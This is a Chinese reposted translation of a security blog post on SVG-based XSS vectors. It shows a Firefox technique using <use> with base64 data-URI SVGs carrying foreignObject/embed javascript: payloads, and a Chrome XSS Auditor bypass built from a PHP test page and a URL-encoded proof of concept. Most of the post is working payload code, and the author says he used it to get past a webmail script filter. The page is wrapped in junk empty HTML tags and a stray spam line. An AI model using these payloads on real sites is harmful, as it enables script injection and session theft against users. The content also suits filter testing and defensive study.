<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/917

                    英文原文鏈接:http://insert-script.blogspot.co.at/2014/02/svg-fun-time-firefox-svg-vector.html

                    0x00 一個新的FF SVG Vector


                    如果你對SVG沒有任何的概念,可能閱讀起來會比較吃力。如果你覺得看不懂可以先百度一下SVG是什么,我們都用它在干一些什么。 首先介紹一下SVG里的<use>元素:

                    使用<use>結合#來可以引用外部SVG文件中的元素。舉個例子來說就是這樣:

                    test.html:

                    #!html
                    <svg> 
                    <use xlink:href='external.svg#rectangle' /> 
                    </svg>
                    

                    external.svg:

                    #!html
                    <svg id="rectangle" xmlns="http://www.w3.org/2000/svg" 
                    xmlns:xlink="http://www.w3.org/1999/xlink" 
                    width="100" height="100"> 
                    <a xlink:href="javascript:alert(location)"> 
                    <rect x="0" y="0" width="100" height="100" /> 
                    </a> 
                    </svg>
                    

                    這里需要注意的是這個外部的svg文件需要和引用這個文件的網站同源。這意味著這種方法在XSS的利用上會十分的雞肋,或者說沒有存在的意義。但 是有什么方法可以讓它變成一個有用的XSS向量呢?Firefox在這里就可以幫上忙。因為我們都知道我們可以使用data URI的方式在內部創建一個svg文件來調用它。利用代碼會像這樣

                    #!html
                    <svg> 
                    <use xlink:href="data:image/svg+xml;base64, PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGxvY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zdmc+#rectangle" /> 
                    </svg>
                    

                    我們再進一步看一下這個svg文件base64解碼后的樣子:

                    #!html
                    <svg id="rectangle" 
                    xmlns="http://www.w3.org/2000/svg" 
                    xmlns:xlink="http://www.w3.org/1999/xlink" 
                    width="100" height="100"> 
                    <a xlink:href="javascript:alert(location)"> 
                    <rect x="0" y="0" width="100" height="100" /> 
                    </a> 
                    </svg>
                    

                    我們之前也強調過,我們需要做一個有意義的攻擊向量。但是這個方法存在一個缺陷,就是需要用戶點擊我們的rect才會觸發。但是很少會有用戶去點 擊一些莫名其妙的東西。所以我們需要做一個自動觸發的vector.但是有一個問題,就是script標簽出現在一個外部的svg當中時,并不會被解析。 為了證明這一事實,我會在接下來的POC當中插入一段script。但是值得慶幸的是,svg還支持<foreignObject>元素。通 過指定該對象所需的擴展屬性,就可以實現對非SVG元素的載入了。這意味著我們現在可以使用iframe embed或一些其它的HTML元素。在這里我選擇了embed+javascript URL scheme

                    現在我們會在內部創建的svg文件看起來會像是這樣:

                    #!html
                    <svg id="rectangle" 
                    xmlns="http://www.w3.org/2000/svg" 
                    xmlns:xlink="http://www.w3.org/1999/xlink" 
                    width="100" height="100"> 
                    
                    <script>alert(1)</script> 
                    
                    <foreignObject width="100" height="50" 
                    requiredExtensions="http://www.w3.org/1999/xhtml"> 
                    
                    <embed xmlns="http://www.w3.org/1999/xhtml" 
                    src="javascript:alert(location)" /> 
                    
                    </foreignObject> 
                    </svg>
                    

                    讓我們再用use元素+data URI來在內部創建這個svg文件:

                    #!html
                    <svg> 
                    <use xlink:href="data:image/svg+xml;base64, PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iNTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZWRFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+DQogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" /> 
                    </svg>
                    

                    一個新的FF SVG Vector就這樣誕生了。(我用這個方法繞過了某郵箱禁止執行js的限制) **

                    0x01 繞過chrome XSS Auditor


                    我們還是想和前面一樣來引入一個外部的SVG文件。但是我們需要一個同源的SVG文件。這意味著data URI在這里是不可行的(chrome下 data URL都是在獨立域執行的,SO..)。但是這也難不倒我們,因為我們可以把一個XSS漏洞用兩遍來解決這個問題。

                    測試頁面chrome.php

                    #!php
                    <?php 
                    echo "<body>"; 
                    echo $_GET['x']; 
                    echo "</body>"; 
                    ?>
                    

                    POC:

                    http://133.52.240.75/chrome.php? 
                    x=<svg><use height=200 width=200 
                    xlink:href='http://133.52.240.75/chrome.php 
                    ?x=<svg id="rectangle" 
                    xmlns="http://www.w3.org/2000/svg" 
                    xmlns:xlink="http://www.w3.org/1999/xlink" 
                    width="100" height="100"> 
                    <a xlink:href="javascript:alert(location)"> 
                    <rect class="blue" x="0" y="0" width="100" height="100"/> 
                    </a></svg>#rectangle'/></svg>
                    

                    當然,不要忘了URL編碼!

                    http://133.52.240.75/chrome.php? x=%3Csvg%3E%3Cuse%20height=200%20width=200%20 xlink:href=%27http://133.52.240.75/chrome.php? x=%3Csvg%20id%3D%22rectangle%22%20 xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20 xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20 %20%20%20width%3D%22100%22%20height%3D%22100%22%3E %3Ca%20xlink%3Ahref%3D%22javascript%3Aalert%28location%29%22%3E %3Crect%20class%3D%22blue%22%20x%3D%220%22%20 y%3D%220%22%20width%3D%22100%22 %20height%3D%22100%22%20%2F%3E %3C%2Fa%3E %3C%2Fsvg%3E%23rectangle%27/%3E%3C/svg%3E
                    

                    have fun!

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频